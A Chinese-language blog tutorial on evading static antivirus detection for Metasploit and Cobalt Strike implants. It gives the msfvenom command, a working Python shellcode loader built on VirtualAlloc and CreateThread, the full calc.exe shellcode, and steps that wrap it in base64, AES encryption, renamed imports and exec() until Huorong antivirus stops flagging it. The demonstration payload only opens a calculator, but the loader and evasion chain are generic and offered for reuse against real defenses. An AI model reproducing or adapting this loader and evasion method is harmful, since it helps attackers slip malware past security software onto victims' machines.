免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
1
Start
辛辛苦苦打了一个点,欸?我勒个骚刚,我的CS马怎么传不上去?我的msf马子怎么落地秒了?玩**。
刚接触安全的时候可能好多铁铁都会觉得免杀这门技术深不可测,看着就难。没关系,今天我们就来一起啃啃这块硬骨头到底是怎么个事情。
2
Action
免杀呢又分动态免杀和静态免杀。显而易见,马子落地秒,一般就是静态免杀没做到位,那今天就先聊聊静态免杀的那点事。
其实静态免杀就是把那些杀毒软件内置的检测规则绕过,手法无非就是搞点混肴啊,整点编码加密啊,还可以上点签名,选用小众语言(越小众效果越好)啊之类的,总之就是将原本ABC的特征改成!@#但是原本的效果不变,让杀毒软件看不出来你其实是ABC,那么你就免杀成功了~
为了能更方便理解,更容易实现,咱们也不整什么C,C++这种深奥语言了,看多了反而更晦涩难懂,咱们直接用python代码演示,如何从一个杀毒软件人人喊打的马子,咸鱼翻身进阶成免杀马的。
首先咱们用msf生成一段shellcode,为了更方便演示,这里就让shellcode的作用设置为打开计算器
msfvenom -p windows/x64/exec CMD="calc.exe" -f py
然后将生成的代码复制粘贴到下面的python代码中
import ctypes
def jiazai(buf):
Shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(Shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(Shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
if __name__ == '__main__':
buf = b''
jiazai(buf)
执行一下看看效果,很好,直接弹出了计算器。
用pyinstaller打包成exe看看效果
pyinstaller -F main.py
存活不到一秒钟,刚编译成exe火绒就报毒了
ok,下面我们就来和杀软好好掰扯掰扯。
咱们首先对这个shellcode内容进行base64的编码一下,看看能不能缓解报毒,创建另一个python文件,需要写的代码也很简单,主要就是输出一下shellcode的base64的内容
import base64
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
buf += b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
buf += b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
buf += b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
buf += b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
buf += b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
buf += b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
buf += b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
buf += b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
buf += b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
buf += b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
buf += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
buf += b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
buf += b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
buf += b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
buf += b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
buf += b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
buf += b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5"
buf += b"\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
buf += b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
buf += b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
print(base64.b64encode(buf).decode('utf-8'))
得到base64内容
/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA
回归到原本的代码中,我们只需要将这串内容base64解码之后然后传递给jiazai函数即可,于是,代码演变成了
但是我们发现这个样子好像还是不免杀呢,打包成exe依旧是落地秒
没关系,我们继续战斗。因为这个base64编码过于简单,我们可以尝试在此基础上再增加一个aes+base64的算法来加密shellcode的内容,于是我们需要编写这样的代码来计算出shellcode经过aes之后的结果
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
key = 'mos_ddddmos_dddd'.encode('utf-8')
data = '/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA'.encode('utf-8')
cipher = AES.new(key, AES.MODE_ECB)
ct_bytes = cipher.encrypt(pad(data, AES.block_size))
ct = base64.b64encode(ct_bytes).decode('utf-8')
print(ct)
于是,我们的代码演变成了这样,需要将密文经过aes解密之后再经过jiazai函数处理,这里为了不让aes的密钥硬编码在代码里导致被杀软识别到,并以此逆向破解加密内容我选择使用传参的方式传入aes的密钥值。
打个包看看效果,还是会被查杀,我们已经对shellcode一遍又一遍的编码加密了,还是会被检测出来,那可能问题出在了上面的jiazai()函数里
下面开始造这个jiazai()函数。首先我们知道,这个jiazai函数里面发挥主要作用的是ctypes这个库,那我们可以给它改个名字
import ctypes as TzTtTNXx
然后全局代码给ctypes改成TzTtTNXx
仅仅改动这么点内容肯定是没有用的,这个jiazai函数里面的特征什么windll,kernel32都太明显了,如果能给整个函数都进行aes加密然后执行解密后的内容就好了,这时候就可以用到exec函数了,一步一步简单来,首先将代码中添加exec
可以看到用法其实很简单,只需要将原本的函数变成字符串,然后用exec执行这个字符串即可使用这个函数,那么下面的内容就是对func_str也进行aes加密,加密的手法跟之前一样,于是代码变成了这样
打个包看看效果?等了半天,没等到熟悉的报毒了,主动查杀看一下呢?不知不觉就过了火绒了。
放到沙箱里面跑一下呢?检出率2/25,不过整体行为还是安全。师傅再也不用担心我的马子落地秒了。
3
End
怎么样,是不是突然觉得免杀也没想象的那么难,无非就是整点加密,整点混淆啥的,高级点再加点什么花指令,整点签名之类的
主要就是好事多磨,得不断的去尝试,调试代码。当然这只是静态免杀,相对上比较容易绕过,动态免杀上还要再此基础上增加一些规则,例如多搞一些垃圾代码啊,睡眠一段时间啊,替换API啊之类的。这里仅仅是简单带大家入个门,后面的路还很长等待各位的探索。
今天就分享到这里,感谢各位铁铁的支持,如果有更好的思路或者其他疑问的话也欢迎私信打扰哈~~